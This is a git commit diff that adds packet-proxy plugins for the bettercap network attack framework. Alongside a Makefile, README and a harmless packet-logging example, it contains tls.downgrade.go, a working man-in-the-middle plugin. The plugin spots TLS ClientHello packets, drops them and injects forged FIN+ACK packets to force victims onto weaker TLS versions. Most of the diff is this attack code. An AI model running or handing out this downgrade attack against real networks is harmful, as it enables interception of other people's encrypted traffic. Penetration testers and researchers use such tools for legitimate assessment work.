first commit

evilsocket · evilsocket · commit 352b09b13711 · 2018-03-28T18:58:34.000+02:00
diff --git a/.gitignore b/.gitignore
@@ -0,0 +1 @@
+*.so
diff --git a/Makefile b/Makefile
@@ -0,0 +1,7 @@
+all: gopacket.example.so tls.downgrade.so
+
+%.so: %.go
+	go build -buildmode=plugin $<
+
+clean:
+	rm -rf *.so
diff --git a/README.md b/README.md
@@ -0,0 +1,3 @@
+# Packet Proxy Plugins
+
+Plugins for the [packet.proxy](https://github.com/bettercap/bettercap/wiki/packet.proxy) module.
diff --git a/gopacket.example.go b/gopacket.example.go
@@ -0,0 +1,16 @@
+package main
+
+import (
+	"github.com/bettercap/bettercap/log"
+
+	"github.com/chifflier/nfqueue-go/nfqueue"
+	"github.com/google/gopacket"
+	"github.com/google/gopacket/layers"
+)
+
+func OnPacket(payload *nfqueue.Payload) int {
+	packet := gopacket.NewPacket(payload.Data, layers.LayerTypeIPv4, gopacket.Default)
+	log.Info("%s", packet.Dump())
+	payload.SetVerdict(nfqueue.NF_ACCEPT)
+	return 0
+}
diff --git a/tls.downgrade.go b/tls.downgrade.go
@@ -0,0 +1,98 @@
+package main
+
+import (
+	"net"
+	"regexp"
+
+	"github.com/bettercap/bettercap/core"
+	"github.com/bettercap/bettercap/log"
+	"github.com/bettercap/bettercap/packets"
+	"github.com/bettercap/bettercap/session"
+
+	"github.com/chifflier/nfqueue-go/nfqueue"
+	"github.com/google/gopacket"
+	"github.com/google/gopacket/layers"
+)
+
+var (
+	clientHelloRe = regexp.MustCompile(`\x16\x03\x01.{2}\x01`)
+)
+
+func getLayers(packet gopacket.Packet) (ip *layers.IPv4, tcp *layers.TCP, ok bool) {
+	ipLayer := packet.Layer(layers.LayerTypeIPv4)
+	if ipLayer == nil {
+		return nil, nil, false
+	}
+
+	ip, ok = ipLayer.(*layers.IPv4)
+	if ok == false || ip == nil {
+		return nil, nil, false
+	}
+
+	tcpLayer := packet.Layer(layers.LayerTypeTCP)
+	if tcpLayer == nil {
+		return nil, nil, false
+	}
+
+	tcp, ok = tcpLayer.(*layers.TCP)
+	if ok == false || tcp == nil {
+		return nil, nil, false
+	}
+
+	return
+}
+
+// "FIN, ACK"
+func tcpReset(src net.IP, dst net.IP, srcPort layers.TCPPort, dstPort layers.TCPPort, seq uint32, ack uint32) (error, []byte) {
+	eth := layers.Ethernet{
+		SrcMAC:       session.I.Interface.HW,
+		DstMAC:       session.I.Gateway.HW,
+		EthernetType: layers.EthernetTypeIPv4,
+	}
+	ip4 := layers.IPv4{
+		Protocol: layers.IPProtocolTCP,
+		Version:  4,
+		TTL:      64,
+		SrcIP:    src,
+		DstIP:    dst,
+	}
+	tcp := layers.TCP{
+		SrcPort: srcPort,
+		DstPort: dstPort,
+		Seq:     seq,
+		Ack:     ack,
+		FIN:     true,
+		ACK:     true,
+	}
+
+	tcp.SetNetworkLayerForChecksum(&ip4)
+
+	return packets.Serialize(&eth, &ip4, &tcp)
+}
+
+// as per https://p16.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack
+func OnPacket(payload *nfqueue.Payload) int {
+	verdict := nfqueue.NF_ACCEPT
+
+	if clientHelloRe.Match(payload.Data) == true {
+		packet := gopacket.NewPacket(payload.Data, layers.LayerTypeIPv4, gopacket.Default)
+		ip, tcp, ok := getLayers(packet)
+		if ip != nil && tcp != nil && ok == true {
+			log.Warning("[%s] Dropping TLS ClientHello from %s to %s:%d", core.Green("tls.downgrade"), ip.SrcIP.String(), ip.DstIP.String(), tcp.DstPort)
+
+			if err, raw := tcpReset(ip.SrcIP, ip.DstIP, tcp.SrcPort, tcp.DstPort, tcp.Seq, tcp.Ack); err == nil {
+				if err := session.I.Queue.Send(raw); err != nil {
+					log.Error("Error sending FIN+ACK packet: %s", err)
+				} else {
+					log.Debug("Sent %d bytes of FIN+ACK packet", len(raw))
+					verdict = nfqueue.NF_DROP
+				}
+			} else {
+				log.Error("Error creating FIN+ACK packet: %s", err)
+			}
+		}
+	}
+
+	payload.SetVerdict(verdict)
+	return 0
+}

Original file line number	Diff line number	Diff line change
`@@ -0,0 +1,3 @@`
	`1`	`+# Packet Proxy Plugins`
	`2`	`+`
	`3`	`+Plugins for the [packet.proxy](https://github.com/bettercap/bettercap/wiki/packet.proxy) module.`